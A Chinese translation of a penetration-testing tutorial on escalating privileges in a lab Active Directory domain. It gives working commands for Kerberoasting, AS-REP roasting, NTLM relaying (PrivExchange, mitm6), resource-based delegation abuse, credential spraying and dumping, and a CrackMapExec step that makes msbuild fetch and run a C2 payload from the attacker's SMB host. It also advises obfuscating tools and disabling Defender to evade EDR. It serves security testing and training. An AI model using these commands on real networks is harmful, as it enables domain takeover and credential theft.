活动目录渗透试验指南,Part II
在上一篇文章中,我们为读者介绍了三种获取凭证的方法。当然,对于本系列的大部分内容来说,都将使用用户rsmith的凭证,不过,由于该用户的权限较低,所以,我们需要进行提权。
实际上,在Windows系统中,进行提权的方法有很多,不过,既然这里介绍的是针对活动目录的渗透测试,我们自然会利用一些活动目录相关的漏洞来提升权限。
获取网络凭证之后,首先应该进行一些侦查工作,然后,看看是否存在尚未打过补丁的安全漏洞。为此,我们可以借助一些相关的工具和技术。
第二阶段:提权与侦察
“花在侦查上面的时间是不会白费的”——Arthur Wellesley
工具:Bloodhound
我最喜欢的工具之一便是Bloodhound。之所以这么说,是因为攻击者可以借助其图表进行思考:它不仅形象的呈现了各个域,同时,也能揭示其间的各种关系。从攻击者的角度来看,这很有吸引力,因为目标就在其中。
我曾经撰写过一篇文章,专门来介绍Bloodhound,感兴趣的读者不妨看一下。
假设您还无法在计算机上打开会话,但您拥有凭证。您仍然可以使用Bloodhound的Python ingestor并来程收集数据。该工具可以通过git安装:
git clonehttps://github.com/fox-it/BloodHound.py.git
cd BloodHound.py/ && pip install
使用时,只要传递相应的凭证、域和DC IP即可。
bloodhound-python -d lab.local -u rsmith -pWinter2017 -gc LAB2008DC01.lab.local -c all
如果BH顺利完成其任务的话,就会把数据存储到指定的目录中,存储的文件格式为.json。复制这些文件,然后,将它们拖到Bloodhound程序中,这样,我们就能看到一个漂亮的网络图了。如果您按“Shortest path to domain admin”排序,则会看到如下所示内容:
AdminAlice已登录DC。
这样做的好处是,您可以直接查看管理员登录到哪些计算机,从而确定下一步的目标。在数百甚至数千台可接受低权限凭证的计算机的域中,这样能够为我们节约大量的时间。它能够为我们提供一个目标列表,以及许多其他内容。此外,该工具还有许多其他用途,如识别哪些SQL服务器的数据库中可能包含凭证等。所以,我们鼓励读者对其功能进行深入的研究。同时,读者最好也研究一下GoFetch,它能利用Bloodhound绘制的攻击计划自动展开攻击。
攻击方法:Kerberoasting | 工具:GetUserSPNs.py
有了目标列表和已识别的域控制器,一种权限提升方式是利用Kerberoasting技术。之所以可以进行Kerberoasting,是因为服务帐户会在AD中发布服务主体名称(SPN)。这样,任何用户都可以通过SPN请求Kerberos票据,该票据含有该帐户密码的哈希值(格式为Kerberos5 TGS-REP)。实际上,有许多工具都可以进行Kerberoasting攻击,所以,我们随便选一个就行了。
其中,GetUserSPNs.py就是不错的一个工具,顾名思义,其作用是在目标域中查询运行在用户帐户下的SPN。并且,该工具的用法也非常简单。
现在,假设我们已经获得了一个服务帐户的哈希值。下面,请将它加载到hashcat(当然有GUI),并选择哈希类型13100,具体如下所示:
用了不到几秒钟,该密码就被破解出来了。
这样,我们就获得了该服务帐户的登陆凭证,接下来,就可以访问域控制器了。是不是太容易了? 好了,让我们再尝试其他方式。
攻击方法:ASEPRoasting | 工具:Rubeus
ASEPRoasting技术类似于Kerberoasting,它们都会查询帐户的TGT,获取哈希值,然后进行破解,但是对于ASEPRoasting技术来说,有一个注意事项:必须禁用Kerberos预身份验证,因为禁用并非默认设置。当通过Kerberos AS-REQ消息请求TGT时,将提供使用我们的用户名和密码加密的时间戳。之后,密钥分发中心(KDC)会解密时间戳,以验证该请求确实来自该用户,然后,会继续后面的验证过程。这便是Kerberos的预身份验证过程,对于攻击者来说,这显然是一个问题,因为我们不是KDC,所以,自然无法解密该消息。当然,这只是设计上防御措施,然而,一旦关闭预身份验证,我们就可以向任何将返回其密码哈希值的用户发送AS-REQ请求了。由于默认情况下启用了预身份验证,因此,必须手动关闭它;虽然这种情况很少见,但多了解一些还是有好处的。
实际上,tsmith很容易中ASREPRoasting的招,因为“Do not require Kerberos preauthentication”选项是默认选中的。
为了利用这个弱点,我们可以使用一个名为Rubeus的工具。Rubeus是一个滥用Kerberos的大型工具集,但是,这里只关心如何发动ASREPRoasting攻击。为了使用Rubeus,首先需要安装Visual Studio。完成安装后,请下载Rubeus,并使用Visual Studio打开Rubeus.sln文件。
默认情况下,它将安装到Rubeus\bin\Debug\文件中。我们可以使用cd命令进入该目录,然后运行:
.\Rubeus.exe asreproast
如果没有用户选中“Do notrequire Kerberos preauthentication”选项,则不会受到该攻击的影响。不过,一旦选中了它……
然后,我们可以获取用户密码的哈希值,并破解它。
请注意,这些示例都是在已经加入该域的计算机上完成的,因此,如果您是从没有位于该域中的计算机上执行上述操作的话,则必须传入域控制器名、域名、OU等参数。
工具:SilentTrinity
SILENTTRINITY是由@byt3bl33d3r开发的一个新型C2工具,它用到了IronPython和C#。当然,您可以选择使用MSBuild.exe,这是一个Windows二进制程序,用于生成C#代码(在Windows10系统中,它会作为.NET的一部分默认安装),以便能够以xm l格式运行C2 payload,从而允许攻击者使用底层的.NETfr amework,通过IronPython、C#和其他语言在受害者的计算机上执行任意操作。
就我个人而言,我已经用SILENTTRINITY取代了Empire,关于该工具的用法,请参阅这篇文章。当然,某些情况下,我仍然更喜欢通过Empire建立连接,毕竟ST还处在开发的alpha阶段,所以,有些功能函待加强。在我看来,ST之所以会取代Empire,原因主要有三个。
- 目前,Windows Defender已经能够截获Empire的payload,即使采用的了混淆技术的情况下,也是如此。
- ST不会“落地”
- 使用-at-exec开关通过CME执行payload时,可以升级到SYSTEM权限。
以下是适用于全新Windows 10安装的PoC,这里使用的是非域管理员用户凭证
帐户“tsmith”仅出现在该用户的组中
使用tsmith的凭证执行代码
使用SILENTTRINITY中生成xm l payload,然后,通过smbserver.py将其托管到自己的SMB服务器上。如果您对这一过程还心存困惑的话,请按照我的说明进行操作。然后,在攻击方计算机上使用CME来执行获取xm l文件的命令。
crackmapexec 192.168.218.60 -u tsmith -pPassword! -d lab.local -x 'C:\Windows\Microsoft.NET\fr amework64\v4.0.30319\msbuild.exe \\192.168.218.129\SMB\msbuild.xm l'--exec-method atexec
CME会执行我们提供的命令,该命令将运行msbuild.exe,并处理托管在SMB服务器上的xm l文件。
现在,我已经用ST打开了一个会话
同时,这里显示的会话信息表明,我的用户名是SYSTEM,这意味着,我从用户tsmith华丽转身为SYSTEM用户,这是因为MSBuild.exe运行时使用了-exec-method atexec选项,该选项会使用具有SYSTEM权限(或任何可能的最高权限)的任务计划程序来运行该命令。
当然,我们可以转储凭证,这样就获得了一个管理员密码的哈希值;对于它,既可以直接使用,也可以用来破译原来的密码。
攻击方法:PrivExchange
PrivExchange方法是一种新技术(上一个月才问世),该方法利用了默认情况下Exchange服务器对权限的要求过于宽松的事实。它是一个多月前由Dirkjann发现的,所以,它是一种快速提升特权的极好方式。
该方法的工作原理是:查询Exchange服务器,获取包含Exchange服务器凭证的响应,然后,通过ntlmrelayx将响应中的凭证中继到域控制器,然后修改用户的权限,使得用户可以将哈希值转储到域控制器上。
该方法的一个不足是,执行起来有点麻烦。Exchange2013是使用默认方法安装在Windows 2012R2服务器上的,我对PrivExchange Python脚本进行了相应的修改,使其在没有有效SSL证书的情况下也能工作。再次之后,它就能正常使用了。
首先,启动ntlmrelayx.py脚本,并将其指向DC,以通过LDAP进行身份验证,并提升用户的权限。
ntlmrelayx.py -t ldap://192.168.218.10--escalate-user rsmith
然后,运行privexchange.py,并提供攻击者IP(-ah)、目标和用户/密码/域等信息。
python privexchange.py -ah 192.168.218.129LAB2012DC02.lab.local -u rsmith -d lab.local -p Winter201
Privexchange.py 通过 API 调用echange
之后,ntlmrelayx会将Exchange服务器的凭证中继到主DC,然后提升rsmith的权限。
利用rsmith的权限转储DC上的哈希值。
有了所有用户的密码哈希值,就可以着手进行破解了。
注意:如果您曾经运行Mimikatz并且被AV拦截的话,那么,secrettsdump.py是一个不错的选择,因为它不会向硬盘写入任何数据。
攻击方法:Kerberos无约束委派
该方法也是从Dirk-jan那里学来的,它能利用默认AD安装的漏洞发动攻击。具体而言,在默认情况下,计算机可以修改与其权限相关的某些属性,例如msDS-AllowedToActOnBehalfOfOtherIdentity。该属性控制用户是否可以通过Kerberos模拟其他用户来登录域中的计算机。实际上,通过中继凭证,就可以达到这一目的。在这里,我们将再次使用上一篇文章中介绍过mitm6,不过,这次将以不同的方式来传递响应。
mitm6 -i ens33 -d lab.local
然后,提交WPAD文件,并通过LDAPS将相关凭证中继到主DC,同时,这里将使用委托访问攻击方法。
ntlmrelayx.py -tldaps://LAB2012DC01.lab.local -wh 192.168.10.100 --delegate-access
当受害者打开IE时,就会通过IPv6发送WPAD请求,攻击者需要响应该请求,并通过LDAPS将这些凭证转发给DC。为此,请配置一台新计算机,并修改相应的委派权限,以便新的“计算机”可以通过msDS-AllowedToActOnBehalfOfOtherIdentity属性模拟LABWIN10(受害者)上的任何用户。这样,我们就得到了一张银票,并可以冒充用户“Administrator”了。
getST.py -spn cifs/LABWIN10.lab.locallab.local/AFWMZ0DS\$ -dc-ip 192.168.10.10 -impersonate Administrator
然后,通过secretsdump.py和银票登录到LABWIN10,并转储相关的凭证。
要了解有关银票攻击及其工作原理的更多信息,请参阅这里。
攻击方法:基于资源的约束委派
我们知道,msDS-AllowedToActOnBehalfOfOtherIdentity属性能够引发很多的安全隐患。几个星期前,@harmj0y就发表了一篇这方面的文章。基本上,如果您能够在AD中修改计算机对象,就可以接管计算机本身。唯一的问题在于,需要用到2012版本以上的域控制器,因为旧版本不支持基于资源的约束委派(RBCD)。这方面的详细介绍,请参阅EladShamir撰写的关于RBCD的文章。
在发动基于资源的约束委派的攻击的时候,有三种工具可用,分别是:
- Powermad
- Powerview
- Rubeus
然后,使用rsmith的凭证,在Windows10计算机上执行该攻击过程。首先,我们需要将executionpolicy设置为bypass,以允许我们导入和运行脚本。
Set-ExecutionPolicy -ExecutionPolicy Bypass-Scope CurrentUser
然后,检查是否可以修改自主访问控制列表(DACL)。
$AttackerSID = Get-DomainGroup Users-Properties ob jectsid | Select -Expand ob jectsid
Get-Domainob jectACL LAB2012DC01.lab.local |?{$_.SecurityIdentifier -match $AttackerSID}
上述命令用来考察“Users”SID的权限,结果表明该用户组对该对象(DC)具有“Generate Write”权限。
在默认情况下,这是无法进行利用的。不过,它仍可用于滥用管理员在配置方面的失误;在该示例中,管理员将“Users”组添加为DC的主体,并设置了GenericWrite属性。
作为PoC,(位于"Users"组中的)rsmith无法进入DC。
我们接下来要做的是创建一个新的计算机帐户,并修改域控制器上的相关属性,以允许新的计算机帐户对域控制器模拟任何人,为此,只需要借助msDS-allowedToActOnBehalfOfOtherIdentity属性即可。我们可以创建一个新的计算机帐户,因为默认情况下,用户最多可以创建10个计算机帐户。为此,Powermad提供了相应的功能:
New-MachineAccount -MachineAccounthackermachine -Password $(ConvertTo-SecureString 'Spring2017' -AsPlainText-Force)
然后,我们将新机器的SID添加到DC上的msDS-allowedToActOnBehalfOfOtherIdentity属性中。
$ComputerSid = Get-DomainComputerhackermachine -Properties ob jectsid | Select -Expand ob jectsid
$SD = New-ob jectSecurity.AccessControl.RawSecurityDesc riptor -ArgumentList"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-ob ject byte
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $TargetComputer |Set-Domainob ject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
然后,使用Rubeus获取机器的NT密码。
.\Rubeus.exe hash /password:Spring2017/user:hackermachine /domain:lab.local
最后,在目标DC上通过Rubeus的用户服务(S4U)进程来模拟域管理员(Administrator)。
.\Rubeus.exe s4u /user:hackermachine$/rc4:9EFAFD86A2791ED001085B4F878AF381 /impersonateuser:Administrator/msdsspn:cifs/LAB2012DC01.lab.local /ptt
只要获得了相应的票据,我们就可以访问域控制器了。
同样,这也是利用了系统管理员的失误,即他们添加了“User”组,并使其对DC具有Generic_Write权限。即使我们无法通过SMB访问它,我们也修改了相关的权限。如果我还有些地方没说清楚的话,大家不妨看一下SpecterOps的视频演示。
攻击方法:MS14-025,GPP
这个方法已经不太常用了,因为它已经出现了很长一段时间了,但这里仍然有必要介绍一下。MS14-025也称为组策略首选项提权漏洞。
当域管理员通过组策略首选项推出本地管理员帐户时,它会将加密的凭证存储在域控制器上的SYSVOL共享中(所有人都可以访问SYSVOL,因为策略就存储在这里,同时,域客户端需要的其他内容也存储在这里)。一般情况下,这没有什么问题,毕竟它是用AES算法加密过的,对吗?但是,有好事者发布了解密密钥。所以,现在攻击者自然可以对其中的密码进行解密了。为了简化这个攻击过程,me tasploit还提供了一个专门的辅助模块。
攻击方法:查找特权帐户| 工具:CrackMapExec
好吧,严格来说,这还算不上是“攻击”,只要借助相关工具进行侦察和枚举就行了。从文章的角度来看,这似乎有点牵强,但实际上,特权帐户非常普遍,找到一个人的帐户,然后登录到另一个人工作站,发现对其中的内容竟然具有读取权限,这种情况并不少见。此外,为了获取用户本不该拥有的服务器访问权限,攻击者可以到处转储凭证,直达找到可以在域控制器上使用的CRED为止。
这里的方法非常简单:在网络上喷射凭证,然后查找可以登录的内容。使用crackmapexec,可以列出共享内容,并考察对哪些内容具有写入权限。
crackmapexec 192.168.218.0/24 -u rsmith -p Winter2017--shares
接下来,使用SILENTTRINITY打开一个用户具有写权限的会话,运行mimikatz模块,以期找到具有所需特权的新凭证。别忘了,我们可以将CME与CIDR结合使用,这意味着,如果将SILENTTRINITY用作C2服务器,并使用CME触发连接的话,则可以通过网络将其喷射到尽可能多的会话上面。大家不妨一试。
工具:PowerTools套件
攻击方法1:在文件中查找密码。
实际上,我们还可以在文件中查找密码。在渗透测试过程中,我们发现有的用户会在自己的Documents文件夹中存储电子邮件,其中竟然含有他们的密码。另外,有的用户会把密码保存到Excel/Word文件中。这时候,PowerSploit套件就有了用武之地了。那么,平常什么情况下会用到PowerSploit套件呢?基本上,只要是想搞点事情的时候,基本上都会派上用场。在搜索密码或字符串的时候,PowerView是个不错的助手。请记住,EDR基本上会拦截这个套件中的所有模块,因此,在使用Invoke-Obfuscation之前,需要对它们进行加壳处理。大家不用担心,实际上PowerView非常易于使用。为此,可以先下载PowerSploit套件,解压后,就可以打开Powershell(要求具有管理员权限)。
首先,我们为脚本赋予执行权限。
Set-ExecutionPolicy Bypass
然后,导入模块:
Import-Module .\PowerView.ps1
在PowerView模块中,提供了一个名为Invoke-FileFinder的命令,它允许我们在文件或文件中搜索字符串。当然,就这里来说,我们要搜索的字符串是password。
在C盘中搜索包含字符串“password”的所有内容
找到一个密码文件!
请注意,这个过程通常需要很长时间。不过,如果从某个目录中运行该命令的话,则有助于缩小搜索范围。
攻击方法2:Get-ExploitableSystem
很明显,这是一个不言自明的脚本。它能在活动目录中查询每个计算机帐户的主机名、OS版本和Service Pack级别,然后对照常见的元漏洞利用列表进行交叉引用。
首先,我们需要导入整个PowerSploit套件(如果您喜欢的话,也可以只导入PowerView)
Import-Module .\PowerSploit.psd1
然后,运行下列命令:
Get-ExploitableSystem -Verbose
Windows XP万岁!
攻击方法3:PowerUp
在powerup模块中,有一个名为“invoke-all-checks”的函数,当然,其功能就不用介绍了,全在名字里边了。它会检查所有内容,从未引用的服务路径到查找MS14-025,等等。更多介绍,请访问GitHub。
使用方法非常简便
Invoke-AllChecks
感谢MSI。
攻击方法4:GetSystem
该模块与me tasploit的GetSystem功能相仿。如果读者若要了解更多信息,请阅读CobaltStrike撰写的相关文章。
实际上,我们只需运行下列命令即可。
Get-System -Technique Token
或:
Get-System -ServiceName 'PrivescSvc'-PipeName 'secret'
我只是一个Admin用户。
我是SYSTEM用户!
工具:ADAPE
实际上,我之前就写过一篇介绍该工具的文章:ADAPE– The Active Directory Assessment and PrivilegeEscalation sc ript。
ADAPE是用Powershell编写的,它汇集了多种工具的功能,并能自动运行它们,这样的话,我们就无需移植这些工具了。它的代码也采用了混淆处理,并能关闭Windows Defender,以便绕过EDR。
ADAPE的用法非常简单:下载,并将其放到目标Windows机器上,然后运行即可:
PowerShell.exe -ExecutionPolicy Bypass./ADAPE.ps1
由于包含了所有必需的脚本,因此无需访问Internet;同时,它会将结果存储在可导出的capture.zip文件中。
出现错误消息是正常的,只要它还能运行就行。否则的话,请提交错误报告。
寻找GPP密码、执行Kerberoasting以及Bloodhound ingestor
检查privesc,然后删除它生成的文件,并对捕获的文件进行压缩处理。
如果打开捕获的文件,就能看到所有战果。
当然,这里介绍的方法并不全面。相反,这只是从多年积累的成功渗透测试经验中总结出来的一些工具和攻击方法,因此,一半来说,总有一款适合您。在下一篇文章中,我们将为读者介绍后续利用和持久化方法。
致谢:
在此,非常感谢@harmj0y、@cptjesus、@_wald0,以及Specterops团队的其他成员,感谢他们所做的精彩研究,并为我们提供了许多优秀的工具。
同时,感谢Bloodhound Slack耐心回复我的提问。
感谢@byt3bl33d3r和Black Hills InfoSec团队提供的研究成果和工具。
感谢@_Dirkjan和Fox-IT团队提供的研究成果和工具。
感谢secureauth提供impacket,这是每个渗透测试人员工具箱中不可或缺的工具。
原文地址:https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/
最新评论